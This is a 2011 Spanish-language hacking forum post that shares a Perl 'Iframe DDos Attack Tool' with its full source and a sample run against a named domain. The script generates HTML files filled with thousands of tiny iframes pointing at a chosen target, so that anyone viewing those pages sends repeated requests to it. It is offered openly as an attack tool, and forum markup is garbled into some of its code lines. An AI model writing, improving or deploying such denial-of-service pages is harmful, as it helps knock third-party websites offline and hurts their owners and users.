3. [Perl] Iframe DDos Attack Tool
Páginas: [1]   Ir Abajo
« anterior próximo »

[Perl] Iframe DDos Attack Tool

  • 0 Respuestas
  • 2444 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Perl] Iframe DDos Attack Tool

  • en: Julio 03, 2011, 10:06:45 pm
Un simple poc para la los ataques de denegacion de servicio usando
iframes.

Código: Perl
  1. #!usr/bin/perl
  2. #Iframe DDos Attack Tool (C) Doddy Hackman 2011
  3.  
  4. use Cwd;
  5.  
  6. installer();
  7.  
  8. sub head {
  9. print "\n\n-- == Iframe DDos Attack Tool == --\n\n";
  10. }
  11.  
  12. sub copyright {
  13. print "\n\n -- == Doddy Hackman 2011\n\n";
  14. }
  15.  
  16. sub sintax {
  17. print "\n<ul class="bbc_list"><li type="square"> sintax : $0 <target> <count file> <count iframe>\n"; [/li][/list]
  18. }
  19.  
  20. sub start {
  21. my ($target,$files,$iframe) = @_;
  22. print "\n</li><li type="square"> Starting the party\n\n";[/li][/list]
  23. print "</li><li type="square"> Generating files and iframes\n";[/li][/list]
  24. print "\n</li><li type="square"> All Save in ".getcwd()."/files/"."\n";[/li][/list]
  25. for my $can(1..$files) {
  26. open (POC,">>files/index".$can.".html");
  27. for my $tx(1..$iframe) {
  28. print POC '<iframe src="'.$target.'" width="3" height="3"></iframe><br>';
  29. }
  30. close POC;
  31. }
  32. }
  33.  
  34. head();
  35. unless(@ARGV > 2) {
  36. sintax();
  37. } else {
  38. start($ARGV[0],$ARGV[1],$ARGV[2]);
  39. }
  40. copyright();
  41.  
  42. sub installer {
  43. unless (-d "files/") {
  44. mkdir("files/","777");
  45. }}
  46.  
  47. # ¿ The End ?
  48.  

Ejemplo de uso

Código: [Seleccionar]

C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II
 Finales\poc iframe>poc.pl "pepo.com" 4 4


-- == Iframe DDos Attack Tool == --


  • Starting the party[/li]

  • Generating files and iframes[/li]

  • All Save in C:/Documents and Settings/Administrador/Escritorio/Leviatan/Hack[/li][/list]
    ing/WarFactoy II Finales/poc iframe/files/


     -- == Doddy Hackman 2011

    • « Última modificación: Julio 17, 2011, 03:39:06 am por Sthefano02 »
    En línea
    Páginas: [1]   Ir Arriba
    « anterior próximo »
     

    Tutorial perl desde cero By: Black Poision & Painboy

    Iniciado por ProcessKill

    		 Respuestas: 2
    Vistas: 5316     		Último mensaje Septiembre 02, 2011, 09:43:36 pm
    por blozzter
    [Perl] Verificando si es root para correr un script

    Iniciado por c1st

    		 Respuestas: 1
    Vistas: 3471     		Último mensaje Octubre 07, 2012, 06:01:39 pm
    por ANTRAX
    [Perl] Half Life Servers List 0.1

    Iniciado por BigBear

    		 Respuestas: 0
    Vistas: 2604     		Último mensaje Noviembre 12, 2012, 07:31:50 pm
    por BigBear
    [Perl] Search in google for scan SQLI

    Iniciado por BigBear

    		 Respuestas: 0
    Vistas: 2597     		Último mensaje Julio 03, 2011, 09:49:49 pm
    por BigBear
    [Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

    Iniciado por tar3kw0rm3d

    		 Respuestas: 0
    Vistas: 3011     		Último mensaje Junio 02, 2013, 08:01:28 pm
    por tar3kw0rm3d